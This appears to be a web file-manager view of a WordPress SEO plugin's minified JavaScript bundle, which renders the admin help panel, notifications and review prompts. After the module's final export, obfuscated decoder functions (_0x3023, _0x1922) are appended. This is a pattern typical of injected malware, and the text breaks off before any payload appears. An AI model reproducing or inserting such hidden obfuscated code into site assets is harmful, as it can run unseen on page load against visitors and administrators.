File manager - Edit - /home/adiance/public_html/wp-content/plugins/all-in-one-seo-pack/dist/Lite/assets/js/Index.affc2cb2.js
Back
import{f as R,u as z,L as V,e as W,h as w,a as x,m as X}from"./links.4c32e7b9.js";import{l as J}from"./license.afc1306d.js";import{a as Q}from"./allowed.ee78f9d1.js";/* empty css */import{g as Z,r as tt}from"./params.f0608262.js";import{a as et}from"./Ellipse.9a695889.js";import{C as it}from"./index.df267eaa.js";import{b as st,C as ot,G as nt}from"./Header.4cff56dc.js";import{S as G,d as rt,B as at,b as q,c as j}from"./Caret.da0d1a59.js";import{C as ct,a as lt}from"./ScrollAndHighlight.a51cda51.js";import{S as dt}from"./Logo.b89d9cd6.js";import{o as n,c as l,a as i,r as u,b as g,f,d,I as v,F as N,M as L,t as a,J as T,w as m,D as b,y as F,e as U,L as E}from"./vue.runtime.esm-bundler.ba5c08e0.js";import{_ as k}from"./_plugin-vue_export-helper.80405f63.js";import{S as ut}from"./Support.b0ee140f.js";import{C as ft}from"./Tabs.914ea6bd.js";import{_ as O}from"./default-i18n.3881921e.js";import{n as _t}from"./isArrayLikeObject.ab8f4241.js";import{U as ht}from"./Url.7af60fc4.js";import{D as mt}from"./Date.ceef1b3d.js";import{S as pt}from"./Exclamation.8e89b656.js";import{S as gt}from"./Gear.29c1fe07.js";import{T as I}from"./Slide.3af65e43.js";const H="all-in-one-seo-pack",vt=()=>({strings:{notifications:O("Notifications",H),newNotifications:O("New Notifications",H),activeNotifications:O("Active Notifications",H)}}),yt={},bt={viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-description"},kt=i("path",{d:"M0 0h24v24H0V0z",fill:"none"},null,-1),St=i("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M8 16h8v2H8zm0-4h8v2H8zm6-10H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8l-6-6zm4 18H6V4h7v5h5v11z",fill:"currentColor"},null,-1),$t=[kt,St];function Nt(t,e){return n(),l("svg",bt,$t)}const Ct=k(yt,[["render",Nt]]),wt={},Dt={viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-folder-open"},Lt=i("path",{d:"M0 0h24v24H0V0z",fill:"none"},null,-1),At=i("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm0 12H4V8h16v10z",fill:"currentColor"},null,-1),Pt=[Lt,At];function Tt(t,e){return n(),l("svg",Dt,Pt)}const It=k(wt,[["render",Tt]]);const Bt={setup(){return{licenseStore:R(),rootStore:z(),helpPanelStore:V(),settingsStore:W()}},components:{CoreApiBar:ct,CoreLicenseKeyBar:lt,CoreUpgradeBar:st,SvgAioseoLogo:dt,SvgClose:G,SvgDescription:Ct,SvgFolderOpen:It,SvgSupport:ut},data(){return{searchItem:null,strings:{close:this.$t.__("Close",this.$td),search:this.$t.__("Search",this.$td),viewAll:this.$t.__("View All",this.$td),docs:this.$t.__("Docs",this.$td),viewDocumentation:this.$t.__("View Documentation",this.$td),browseDocumentation:this.$t.sprintf(this.$t.__("Browse documentation, reference material, and tutorials for %1$s.",this.$td),"AIOSEO"),viewAllDocumentation:this.$t.__("View All Documentation",this.$td),getSupport:this.$t.__("Get Support",this.$td),submitTicket:this.$t.__("Submit a ticket and our world class support team will be in touch soon.",this.$td),submitSupportTicket:this.$t.__("Submit a Support Ticket",this.$td),upgradeToPro:this.$t.__("Upgrade to Pro",this.$td)}}},computed:{filteredDocs(){return this.searchItem!==""?Object.values(this.helpPanelStore.docs).filter(t=>this.searchItem!==null?t.title.toLowerCase().includes(this.searchItem.toLowerCase()):null):null}},methods:{inputSearch:function(t){rt(()=>{this.searchItem=t},1e3)},toggleSection:function(t){t.target.parentNode.parentNode.classList.toggle("opened")},toggleDocs:function(t){t.target.previousSibling.classList.toggle("opened"),t.target.style.display="none"},toggleModal(){document.getElementById("aioseo-help-modal").classList.toggle("visible"),document.body.classList.toggle("modal-open")},getCategoryDocs(t){return Object.values(this.helpPanelStore.docs).filter(e=>e.categories.flat().includes(t)?e:null)}}},Mt={id:"aioseo-help-modal",class:"aioseo-help"},Ot={class:"aioseo-help-header"},Ht={class:"logo"},Ut=["href"],Et=["title"],zt={class:"help-content"},qt={id:"aioseo-help-search"},Rt={id:"aioseo-help-result"},Vt={class:"aioseo-help-docs"},xt={class:"icon"},Gt=["href"],jt={id:"aioseo-help-categories"},Ft={class:"aioseo-help-categories-toggle"},Yt={class:"folder-open"},Kt={class:"title"},Wt=i("span",{class:"dashicons dashicons-arrow-right-alt2"},null,-1),Xt={class:"aioseo-help-docs"},Jt={class:"icon"},Qt=["href"],Zt={class:"aioseo-help-additional-docs"},te={class:"icon"},ee=["href"],ie={id:"aioseo-help-footer"},se={class:"aioseo-help-footer-block"},oe=["href"],ne={class:"aioseo-help-footer-block"},re=["href"];function ae(t,e,r,c,s,o){const h=u("core-upgrade-bar"),p=u("core-license-key-bar"),_=u("core-api-bar"),y=u("svg-aioseo-logo"),A=u("svg-close"),B=u("base-input"),D=u("svg-description"),Y=u("svg-folder-open"),P=u("base-button"),K=u("svg-support");return n(),l("div",Mt,[!t.$isPro&&c.settingsStore.settings.showUpgradeBar&&c.rootStore.pong?(n(),g(h,{key:0})):f("",!0),t.$isPro&&c.licenseStore.isUnlicensed&&c.rootStore.pong?(n(),g(p,{key:1})):f("",!0),c.rootStore.pong?f("",!0):(n(),g(_,{key:2})),i("div",Ot,[i("div",Ht,[c.licenseStore.isUnlicensed?(n(),l("a",{key:0,href:t.$links.utmUrl("header-logo"),target:"_blank"},[d(y,{id:"aioseo-help-logo"})],8,Ut)):f("",!0),c.licenseStore.isUnlicensed?f("",!0):(n(),g(y,{key:1,id:"aioseo-help-logo"}))]),i("div",{id:"aioseo-help-close",title:s.strings.close,onClick:e[0]||(e[0]=v((...S)=>o.toggleModal&&o.toggleModal(...S),["stop"]))},[d(A)],8,Et)]),i("div",zt,[i("div",qt,[d(B,{type:"text",size:"medium",placeholder:s.strings.search,"onUpdate:modelValue":e[1]||(e[1]=S=>o.inputSearch(S))},null,8,["placeholder"])]),i("div",Rt,[i("ul",Vt,[(n(!0),l(N,null,L(o.filteredDocs,(S,C)=>(n(),l("li",{key:C},[i("span",xt,[d(D)]),i("a",{href:t.$links.utmUrl("help-panel-doc","",S.url),rel:"noopener noreferrer",target:"_blank"},a(S.title),9,Gt)]))),128))])]),i("div",jt,[i("ul",Ft,[(n(!0),l(N,null,L(c.helpPanelStore.categories,(S,C)=>(n(),l("li",{key:C,class:T(["aioseo-help-category",{opened:C==="getting-started"}])},[i("header",{onClick:e[2]||(e[2]=v($=>o.toggleSection($),["stop"]))},[i("span",Yt,[d(Y)]),i("span",Kt,a(S),1),Wt]),i("ul",Xt,[(n(!0),l(N,null,L(o.getCategoryDocs(C).slice(0,5),($,M)=>(n(),l("li",{key:M},[i("span",Jt,[d(D)]),i("a",{href:t.$links.utmUrl("help-panel-doc","",$.url),rel:"noopener noreferrer",target:"_blank"},a($.title),9,Qt)]))),128)),i("div",Zt,[(n(!0),l(N,null,L(o.getCategoryDocs(C).slice(5,o.getCategoryDocs(C).length),($,M)=>(n(),l("li",{key:M},[i("span",te,[d(D)]),i("a",{href:t.$links.utmUrl("help-panel-doc","",$.url),rel:"noopener noreferrer",target:"_blank"},a($.title),9,ee)]))),128))]),o.getCategoryDocs(C).length>=5?(n(),g(P,{key:0,class:"aioseo-help-docs-viewall gray medium",onClick:e[3]||(e[3]=v($=>o.toggleDocs($),["stop"]))},{default:m(()=>[b(a(s.strings.viewAll)+" "+a(S)+" "+a(s.strings.docs),1)]),_:2},1024)):f("",!0)])],2))),128))])]),i("div",ie,[i("div",se,[i("a",{href:t.$links.utmUrl("help-panel-all-docs","","https://aioseo.com/docs/"),rel:"noopener noreferrer",target:"_blank"},[d(D),i("h3",null,a(s.strings.viewDocumentation),1),i("p",null,a(s.strings.browseDocumentation),1),d(P,{class:"aioseo-help-docs-viewall gray small"},{default:m(()=>[b(a(s.strings.viewAllDocumentation),1)]),_:1})],8,oe)]),i("div",ne,[i("a",{href:!t.$isPro||!c.licenseStore.license.isActive?t.$links.getUpsellUrl("help-panel","get-support","liteUpgrade"):t.$links.utmUrl("help-panel-support","","https://aioseo.com/account/support/"),rel:"noopener noreferrer",target:"_blank"},[d(K),i("h3",null,a(s.strings.getSupport),1),i("p",null,a(s.strings.submitTicket),1),t.$isPro&&c.licenseStore.license.isActive?(n(),g(P,{key:0,class:"aioseo-help-docs-support blue small"},{default:m(()=>[b(a(s.strings.submitSupportTicket),1)]),_:1})):f("",!0),!t.$isPro||!c.licenseStore.license.isActive?(n(),g(P,{key:1,class:"aioseo-help-docs-support green small"},{default:m(()=>[b(a(s.strings.upgradeToPro),1)]),_:1})):f("",!0)],8,re)])])])])}const ce=k(Bt,[["render",ae]]),le={computed:{notificationsCount(){const t=w();return this.dismissed?t.dismissedNotificationsCount:t.activeNotificationsCount},notifications(){const t=w();return this.dismissed?t.dismissedNotifications:t.activeNotifications},notificationTitle(){return this.dismissed?this.strings.notifications:this.strings.newNotifications}}},de=""+window.__aioseoDynamicImportPreload__("images/dannie-detective.f19b97eb.png");const ue={setup(){return{notificationsStore:w()}},emits:["dismissed-notification"],components:{BaseButton:at,SvgCircleCheck:q,SvgCircleClose:j,SvgCircleExclamation:pt,SvgGear:gt,TransitionSlide:I},mixins:[ht,mt],props:{notification:{type:Object,required:!0}},data(){return{active:!0,strings:{dismiss:this.$t.__("Dismiss",this.$td)}}},computed:{getIcon(){switch(this.notification.type){case"warning":return"svg-circle-exclamation";case"error":return"svg-circle-close";case"info":return"svg-gear";case"success":default:return"svg-circle-check"}},getDate(){return this.dateSqlToLocalRelative(this.notification.start)}},methods:{processDismissNotification(){this.active=!1,this.notificationsStore.dismissNotifications([this.notification.slug]),this.$emit("dismissed-notification")}}},fe={class:"icon"},_e={class:"body"},he={class:"title"},me={class:"date"},pe=["innerHTML"],ge={class:"actions"};function ve(t,e,r,c,s,o){const h=u("base-button"),p=u("transition-slide");return n(),g(p,{class:"aioseo-notification",active:s.active},{default:m(()=>[i("div",null,[i("div",fe,[(n(),g(F(o.getIcon),{class:T(r.notification.type)},null,8,["class"]))]),i("div",_e,[i("div",he,[i("div",null,a(r.notification.title),1),i("div",me,a(o.getDate),1)]),i("div",{class:"notification-content",innerHTML:r.notification.content},null,8,pe),i("div",ge,[r.notification.button1_label&&r.notification.button1_action?(n(),g(h,{key:0,size:"small",type:"gray",tag:t.getTagType(r.notification.button1_action),href:t.getHref(r.notification.button1_action),target:t.getTarget(r.notification.button1_action),onClick:e[0]||(e[0]=_=>t.processButtonClick(r.notification.button1_action,1)),loading:t.button1Loading},{default:m(()=>[b(a(r.notification.button1_label),1)]),_:1},8,["tag","href","target","loading"])):f("",!0),r.notification.button2_label&&r.notification.button2_action?(n(),g(h,{key:1,size:"small",type:"gray",tag:t.getTagType(r.notification.button2_action),href:t.getHref(r.notification.button2_action),target:t.getTarget(r.notification.button2_action),onClick:e[1]||(e[1]=_=>t.processButtonClick(r.notification.button2_action,2)),loading:t.button2Loading},{default:m(()=>[b(a(r.notification.button2_label),1)]),_:1},8,["tag","href","target","loading"])):f("",!0),r.notification.dismissed?f("",!0):(n(),l("a",{key:2,href:"#",class:"dismiss",onClick:e[2]||(e[2]=v((..._)=>o.processDismissNotification&&o.processDismissNotification(..._),["stop","prevent"]))},a(s.strings.dismiss),1))])])])]),_:1},8,["active"])}const ye=k(ue,[["render",ve]]);const be={setup(){return{licenseStore:R(),notificationsStore:w(),optionsStore:x(),rootStore:z()}},emits:["dismissed-notification"],components:{SvgCircleCheck:q,TransitionSlide:I},props:{notification:{type:Object,required:!0}},data(){return{step:1,active:!0,strings:{dismiss:this.$t.__("Dismiss",this.$td),yesILoveIt:this.$t.__("Yes, I love it!",this.$td),notReally:this.$t.__("Not Really...",this.$td),okYouDeserveIt:this.$t.__("Ok, you deserve it",this.$td),nopeMaybeLater:this.$t.__("Nope, maybe later",this.$td),giveFeedback:this.$t.__("Give feedback",this.$td),noThanks:this.$t.__("No thanks",this.$td)}}},computed:{title(){switch(this.step){case 2:return this.$t.__("That's Awesome!",this.$td);case 3:return this.$t.__("Help us improve",this.$td);default:return this.$t.sprintf(this.$t.__("Are you enjoying %1$s?",this.$td),"AIOSEO")}},content(){switch(this.step){case 2:return this.$t.__("Could you please do me a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?",this.$td)+"<br><br><strong>~ Syed Balkhi<br>"+this.$t.sprintf(this.$t.__("CEO of %1$s",this.$td),"All in One SEO")+"</strong>";case 3:return this.$t.sprintf(this.$t.__("We're sorry to hear you aren't enjoying %1$s. We would love a chance to improve. Could you take a minute and let us know what we can do better?",this.$td),"All in One SEO");default:return""}},feedbackUrl(){const t=this.optionsStore.options.general&&this.licenseStore.licenseKey?this.licenseStore.licenseKey:"",e=this.$isPro?"pro":"lite";return this.$links.utmUrl("notification-review-notice",this.rootStore.aioseo.version,"https://aioseo.com/plugin-feedback/?wpf7528_24="+encodeURIComponent(this.rootStore.aioseo.urls.home)+"&wpf7528_26="+t+"&wpf7528_27="+e+"&wpf7528_28="+this.rootStore.aioseo.version)}},methods:{processDismissNotification(t=!1){this.active=!1,this.notificationsStore.dismissNotifications([this.notification.slug+(t?"-delay":"")]),this.$emit("dismissed-notification")}}},ke={class:"icon"},Se={class:"body"},$e={class:"title"},Ne=["innerHTML"],Ce={class:"actions"};function we(t,e,r,c,s,o){const h=u("svg-circle-check"),p=u("base-button"),_=u("transition-slide");return n(),g(_,{class:"aioseo-notification",active:s.active},{default:m(()=>[i("div",null,[i("div",ke,[d(h,{class:"success"})]),i("div",Se,[i("div",$e,[i("div",null,a(o.title),1)]),i("div",{class:"notification-content",innerHTML:o.content},null,8,Ne),i("div",Ce,[s.step===1?(n(),l(N,{key:0},[d(p,{size:"small",type:"blue",onClick:e[0]||(e[0]=v(y=>s.step=2,["stop"]))},{default:m(()=>[b(a(s.strings.yesILoveIt),1)]),_:1}),d(p,{size:"small",type:"gray",onClick:e[1]||(e[1]=v(y=>s.step=3,["stop"]))},{default:m(()=>[b(a(s.strings.notReally),1)]),_:1})],64)):f("",!0),s.step===2?(n(),l(N,{key:1},[d(p,{tag:"a",href:"https://wordpress.org/support/plugin/all-in-one-seo-pack/reviews/?filter=5#new-post",size:"small",type:"blue",target:"_blank",rel:"noopener noreferrer",onClick:e[2]||(e[2]=y=>o.processDismissNotification(!1))},{default:m(()=>[b(a(s.strings.okYouDeserveIt),1)]),_:1}),d(p,{size:"small",type:"gray",onClick:e[3]||(e[3]=v(y=>o.processDismissNotification(!0),["stop","prevent"]))},{default:m(()=>[b(a(s.strings.nopeMaybeLater),1)]),_:1})],64)):f("",!0),s.step===3?(n(),l(N,{key:2},[d(p,{tag:"a",href:o.feedbackUrl,size:"small",type:"blue",target:"_blank",rel:"noopener noreferrer",onClick:e[4]||(e[4]=y=>o.processDismissNotification(!1))},{default:m(()=>[b(a(s.strings.giveFeedback),1)]),_:1},8,["href"]),d(p,{size:"small",type:"gray",onClick:e[5]||(e[5]=v(y=>o.processDismissNotification(!1),["stop","prevent"]))},{default:m(()=>[b(a(s.strings.noThanks),1)]),_:1})],64)):f("",!0),r.notification.dismissed?f("",!0):(n(),l("a",{key:3,class:"dismiss",href:"#",onClick:e[6]||(e[6]=v(y=>o.processDismissNotification(!1),["stop","prevent"]))},a(s.strings.dismiss),1))])])])]),_:1},8,["active"])}const De=k(be,[["render",we]]);const Le={setup(){return{notificationsStore:w()}},emits:["dismissed-notification"],components:{SvgCircleCheck:q,TransitionSlide:I},props:{notification:{type:Object,required:!0}},data(){return{active:!0,strings:{dismiss:this.$t.__("Dismiss",this.$td),yesILoveIt:this.$t.__("Yes, I love it!",this.$td),notReally:this.$t.__("Not Really...",this.$td),okYouDeserveIt:this.$t.__("Ok, you deserve it",this.$td),nopeMaybeLater:this.$t.__("Nope, maybe later",this.$td),giveFeedback:this.$t.__("Give feedback",this.$td),noThanks:this.$t.__("No thanks",this.$td)}}},computed:{title(){return this.$t.sprintf(this.$t.__("Are you enjoying %1$s?",this.$td),"AIOSEO")},content(){return this.$t.sprintf(this.$t.__("Hey, I noticed you have been using %1$s for some time - that’s awesome! Could you please do me a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?",this.$td),"<strong>All in One SEO</strong>")+"<br><br><strong>~ Syed Balkhi<br>"+this.$t.sprintf(this.$t.__("CEO of %1$s",this.$td),"All in One SEO")+"</strong>"}},methods:{processDismissNotification(t=!1){this.active=!1,this.notificationsStore.dismissNotifications([this.notification.slug+(t?"-delay":"")]),this.$emit("dismissed-notification")}}},Ae={class:"icon"},Pe={class:"body"},Te={class:"title"},Ie=["innerHTML"],Be={class:"actions"};function Me(t,e,r,c,s,o){const h=u("svg-circle-check"),p=u("base-button"),_=u("transition-slide");return n(),g(_,{class:"aioseo-notification",active:s.active},{default:m(()=>[i("div",null,[i("div",Ae,[d(h,{class:"success"})]),i("div",Pe,[i("div",Te,[i("div",null,a(o.title),1)]),i("div",{class:"notification-content",innerHTML:o.content},null,8,Ie),i("div",Be,[d(p,{tag:"a",href:"https://wordpress.org/support/plugin/all-in-one-seo-pack/reviews/?filter=5#new-post",size:"small",type:"blue",target:"_blank",rel:"noopener noreferrer",onClick:e[0]||(e[0]=y=>o.processDismissNotification(!1))},{default:m(()=>[b(a(s.strings.okYouDeserveIt),1)]),_:1}),d(p,{size:"small",type:"gray",onClick:e[1]||(e[1]=v(y=>o.processDismissNotification(!0),["stop","prevent"]))},{default:m(()=>[b(a(s.strings.nopeMaybeLater),1)]),_:1}),r.notification.dismissed?f("",!0):(n(),l("a",{key:0,class:"dismiss",href:"#",onClick:e[2]||(e[2]=v(y=>o.processDismissNotification(!1),["stop","prevent"]))},a(s.strings.dismiss),1))])])])]),_:1},8,["active"])}const Oe=k(Le,[["render",Me]]);const He={components:{SvgCircleClose:j,TransitionSlide:I},props:{notification:{type:Object,required:!0}},data(){return{active:!0,strings:{title:this.$t.sprintf(this.$t.__("%1$s Addons Not Configured Properly",this.$td),"AIOSEO"),learnMore:this.$t.__("Learn More",this.$td),upgrade:this.$t.__("Upgrade",this.$td)}}},computed:{content(){let t="<ul>";return this.notification.addons.forEach(e=>{t+="<li><strong>AIOSEO - "+e.name+"</strong></li>"}),t+="</ul>",this.notification.message+t}}},Ue={class:"icon"},Ee={class:"body"},ze={class:"title"},qe=["innerHTML"],Re={class:"actions"};function Ve(t,e,r,c,s,o){const h=u("svg-circle-close"),p=u("base-button"),_=u("transition-slide");return n(),g(_,{class:"aioseo-notification",active:s.active},{default:m(()=>[i("div",null,[i("div",Ue,[d(h,{class:"error"})]),i("div",Ee,[i("div",ze,[i("div",null,a(s.strings.title),1)]),i("div",{class:"notification-content",innerHTML:o.content},null,8,qe),i("div",Re,[d(p,{size:"small",type:"green",tag:"a",href:t.$links.utmUrl("notification-unlicensed-addons"),target:"_blank"},{default:m(()=>[b(a(s.strings.upgrade),1)]),_:1},8,["href"])])])])]),_:1},8,["active"])}const xe=k(He,[["render",Ve]]);const Ge={emits:["toggle-dismissed","dismissed-notification"],components:{CoreNotification:ye,NotificationsReview:De,NotificationsReview2:Oe,NotificationsUnlicensedAddons:xe},props:{dismissedCount:{type:Number,required:!0},notifications:{type:Array,required:!0}},data(){return{dannieDetectiveImg:de,strings:{greatScott:this.$t.__("Great Scott! Where'd they all go?",this.$td),noNewNotifications:this.$t.__("You have no new notifications.",this.$td),seeDismissed:this.$t.__("See Dismissed Notifications",this.$td)}}},methods:{getAssetUrl:_t}},je={class:"aioseo-notification-cards"},Fe={key:"no-notifications"},Ye={class:"no-notifications"},Ke=["src"],We={class:"great-scott"},Xe={class:"no-new-notifications"};function Je(t,e,r,c,s,o){return n(),l("div",je,[r.notifications.length?(n(!0),l(N,{key:0},L(r.notifications,h=>(n(),g(F(h.component?h.component:"core-notification"),{key:h.slug,notification:h,ref_for:!0,ref:"notification",onDismissedNotification:e[0]||(e[0]=p=>t.$emit("dismissed-notification"))},null,40,["notification"]))),128)):f("",!0),r.notifications.length?f("",!0):(n(),l("div",Fe,[U(t.$slots,"no-notifications",{},()=>[i("div",Ye,[i("img",{alt:"Dannie the Detective",src:o.getAssetUrl(s.dannieDetectiveImg)},null,8,Ke),i("div",We,a(s.strings.greatScott),1),i("div",Xe,a(s.strings.noNewNotifications),1),r.dismissedCount?(n(),l("a",{key:0,href:"#",class:"dismiss",onClick:e[1]||(e[1]=v(h=>t.$emit("toggle-dismissed"),["stop","prevent"]))},a(s.strings.seeDismissed),1)):f("",!0)])])]))])}const Qe=k(Ge,[["render",Je]]);const Ze={setup(){const t=w(),{strings:e}=vt();return{notificationsStore:t,composableStrings:e}},components:{CoreNotificationCards:Qe,SvgClose:G},mixins:[le],data(){return{dismissed:!1,maxNotifications:Number.MAX_SAFE_INTEGER,currentPage:0,totalPages:1,strings:X(this.composableStrings,{dismissedNotifications:this.$t.__("Dismissed Notifications",this.$td),dismissAll:this.$t.__("Dismiss All",this.$td)})}},watch:{"notificationsStore.showNotifications"(t){t?(this.currentPage=0,this.setMaxNotifications(),this.addBodyClass()):this.removeBodyClass()},dismissed(){this.setMaxNotifications()},notifications(){this.setMaxNotifications()}},computed:{filteredNotifications(){return[...this.notifications].splice(this.currentPage===0?0:this.currentPage*this.maxNotifications,this.maxNotifications)},pages(){const t=[];for(let e=0;e<this.totalPages;e++)t.push({number:e+1});return t}},methods:{escapeListener(t){t.key==="Escape"&&this.notificationsStore.showNotifications&&this.notificationsStore.toggleNotifications()},addBodyClass(){document.body.classList.add("aioseo-show-notifications")},removeBodyClass(){document.body.classList.remove("aioseo-show-notifications")},documentClick(t){if(!this.notificationsStore.showNotifications)return;const e=t&&t.target?t.target:null,r=document.querySelector("#wp-admin-bar-aioseo-notifications");if(r&&(r===e||r.contains(e)))return;const c=document.querySelector("#toplevel_page_aioseo .wp-first-item"),s=document.querySelector("#toplevel_page_aioseo .wp-first-item .aioseo-menu-notification-indicator");if(c&&c.contains(s)&&(c===e||c.contains(e)))return;const o=this.$refs["aioseo-notifications"];o&&(o===e||o.contains(e))||this.notificationsStore.toggleNotifications()},notificationsLinkClick(t){t.preventDefault(),this.notificationsStore.toggleNotifications()},processDismissAllNotifications(){const t=[];this.notifications.forEach(e=>{t.push(e.slug)}),this.notificationsStore.dismissNotifications(t).then(()=>{this.setMaxNotifications()})},setMaxNotifications(){const t=this.currentPage;this.currentPage=0,this.totalPages=1,this.maxNotifications=Number.MAX_SAFE_INTEGER,this.$nextTick(async()=>{const e=[],r=document.querySelectorAll(".notification-menu .aioseo-notification");r&&r.forEach(s=>{let o=s.offsetHeight;const h=window.getComputedStyle?getComputedStyle(s,null):s.currentStyle,p=parseInt(h.marginTop)||0,_=parseInt(h.marginBottom)||0;o+=p+_,e.push(o)});const c=document.querySelector(".notification-menu .aioseo-notification-cards");if(c){let s=0,o=0;for(let h=0;h<e.length&&(o+=e[h],!(o>c.offsetHeight));h++)s++;this.maxNotifications=s||1,this.totalPages=Math.ceil(e.length/s)}this.currentPage=t>this.totalPages-1?this.totalPages-1:t})}},mounted(){document.addEventListener("keydown",this.escapeListener),document.addEventListener("click",this.documentClick);const t=document.querySelector("#wp-admin-bar-aioseo-notifications .ab-item");t&&t.addEventListener("click",this.notificationsLinkClick);const e=document.querySelector("#toplevel_page_aioseo .wp-first-item"),r=document.querySelector("#toplevel_page_aioseo .wp-first-item .aioseo-menu-notification-indicator");e&&r&&e.addEventListener("click",this.notificationsLinkClick)}},ti={class:"aioseo-notifications",ref:"aioseo-notifications"},ei={key:0,class:"notification-menu"},ii={class:"notification-header"},si={class:"new-notifications"},oi={class:"dismissed-notifications"},ni={class:"notification-footer"},ri={class:"pagination"},ai=["onClick"],ci={key:0,class:"dismiss-all"};function li(t,e,r,c,s,o){const h=u("svg-close"),p=u("core-notification-cards");return n(),l("div",ti,[d(E,{name:"notifications-slide"},{default:m(()=>[c.notificationsStore.showNotifications?(n(),l("div",ei,[i("div",ii,[i("span",si,"("+a(t.notificationsCount)+") "+a(t.notificationTitle),1),i("div",oi,[!s.dismissed&&c.notificationsStore.dismissedNotificationsCount?(n(),l("a",{key:0,href:"#",onClick:e[0]||(e[0]=v(_=>s.dismissed=!0,["stop","prevent"]))},a(s.strings.dismissedNotifications),1)):f("",!0),s.dismissed&&c.notificationsStore.dismissedNotificationsCount?(n(),l("a",{key:1,href:"#",onClick:e[1]||(e[1]=v(_=>s.dismissed=!1,["stop","prevent"]))},a(s.strings.activeNotifications),1)):f("",!0)]),i("div",{onClick:e[2]||(e[2]=v((..._)=>c.notificationsStore.toggleNotifications&&c.notificationsStore.toggleNotifications(..._),["stop"]))},[d(h)])]),d(p,{class:"notification-cards",notifications:o.filteredNotifications,dismissedCount:c.notificationsStore.dismissedNotificationsCount,onToggleDismissed:e[3]||(e[3]=_=>s.dismissed=!s.dismissed)},null,8,["notifications","dismissedCount"]),i("div",ni,[i("div",ri,[s.totalPages>1?(n(!0),l(N,{key:0},L(o.pages,(_,y)=>(n(),l("div",{class:T(["page-number",{active:_.number===1+s.currentPage}]),key:y,onClick:v(A=>s.currentPage=_.number-1,["stop"])},a(_.number),11,ai))),128)):f("",!0)]),s.dismissed?f("",!0):(n(),l("div",ci,[t.notifications.length?(n(),l("a",{key:0,href:"#",class:"dismiss",onClick:e[4]||(e[4]=v((..._)=>o.processDismissAllNotifications&&o.processDismissAllNotifications(..._),["stop","prevent"]))},a(s.strings.dismissAll),1)):f("",!0)]))])])):f("",!0)]),_:1}),d(E,{name:"notifications-fade"},{default:m(()=>[c.notificationsStore.showNotifications?(n(),l("div",{key:0,onClick:e[5]||(e[5]=(..._)=>c.notificationsStore.toggleNotifications&&c.notificationsStore.toggleNotifications(..._)),class:"overlay"})):f("",!0)]),_:1})],512)}const di=k(Ze,[["render",li]]),ui={setup(){return{helpPanelStore:V(),notificationsStore:w(),rootStore:z(),optionsStore:x()}},components:{CoreAlert:it,CoreHeader:ot,CoreHelp:ce,CoreMainTabs:ft,CoreNotifications:di,GridContainer:nt},mixins:[et],props:{pageName:{type:String,required:!0},showTabs:{type:Boolean,default(){return!0}},showSaveButton:{type:Boolean,default(){return!0}},excludeTabs:{type:Array,default(){return[]}},containerClasses:{type:Array,default(){return[]}}},data(){return{tabsKey:0,strings:{saveChanges:this.$t.__("Save Changes",this.$td)}}},watch:{excludeTabs(){this.tabsKey+=1}},computed:{tabs(){return this.$router.options.routes.filter(t=>t.name&&t.meta&&t.meta.name).filter(t=>Q(t.meta.access)).filter(t=>!t.meta.license||J.hasMinimumLevel(t.meta.license)).filter(t=>!(t.meta.display==="lite"&&this.$isPro||t.meta.display==="pro"&&!this.$isPro)).filter(t=>!this.excludeTabs.includes(t.name)).map(t=>({slug:t.name,name:t.meta.name,url:{name:t.name},access:t.meta.access,pro:!!t.meta.pro}))},shouldShowSaveButton(){if(this.$route&&this.$route.name){const t=this.$router.options.routes.find(e=>e.name===this.$route.name);if(t&&t.meta&&t.meta.hideSaveButton)return!1}return this.showSaveButton},errorSaving(){const t=this.$isPro?"https://aioseo.com/plugin/pro-support":"https://aioseo.com/plugin/lite-support";return this.$t.sprintf(this.$t.__("Oops! It looks like an error occurred while saving the changes. Please try again or %1$scontact our support team%2$s.",this.$td),'<a href="'+this.$links.utmUrl("error-saving",this.rootStore.aioseo.page,t)+'" target="_blank">',"</a>")}},mounted(){Z().notifications&&(this.notificationsStore.showNotifications||this.notificationsStore.toggleNotifications(),setTimeout(()=>{tt("notifications")},500)),this.notificationsStore.force&&this.notificationsStore.active.length&&(this.notificationsStore.force=!1,this.notificationsStore.toggleNotifications())}},fi={class:"aioseo-main"},_i=["innerHTML"],hi={key:2,class:"save-changes"};function mi(t,e,r,c,s,o){const h=u("core-notifications"),p=u("core-header"),_=u("core-alert"),y=u("core-main-tabs"),A=u("base-button"),B=u("grid-container"),D=u("core-help");return n(),l("div",null,[d(h),i("div",fi,[d(p,{"page-name":r.pageName},null,8,["page-name"]),d(B,{class:T(r.containerClasses)},{default:m(()=>[c.optionsStore.saveError?(n(),g(_,{key:0,type:"red"},{default:m(()=>[i("div",{innerHTML:o.errorSaving},null,8,_i)]),_:1})):f("",!0),r.showTabs?(n(),g(y,{key:s.tabsKey,tabs:o.tabs,showSaveButton:o.shouldShowSaveButton},{extra:m(()=>[U(t.$slots,"extra")]),_:3},8,["tabs","showSaveButton"])):f("",!0),d(E,{name:"route-fade",mode:"out-in"},{default:m(()=>[U(t.$slots,"default")]),_:3}),o.shouldShowSaveButton?(n(),l("div",hi,[d(A,{type:"blue",size:"medium",loading:c.rootStore.loading,onClick:t.processSaveChanges},{default:m(()=>[b(a(s.strings.saveChanges),1)]),_:1},8,["loading","onClick"])])):f("",!0)]),_:3},8,["class"])]),c.helpPanelStore.docs&&Object.keys(c.helpPanelStore.docs).length?(n(),g(D,{key:0})):f("",!0)])}const Ei=k(ui,[["render",mi]]);export{Ei as C,le as N,Qe as a,vt as u}; function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 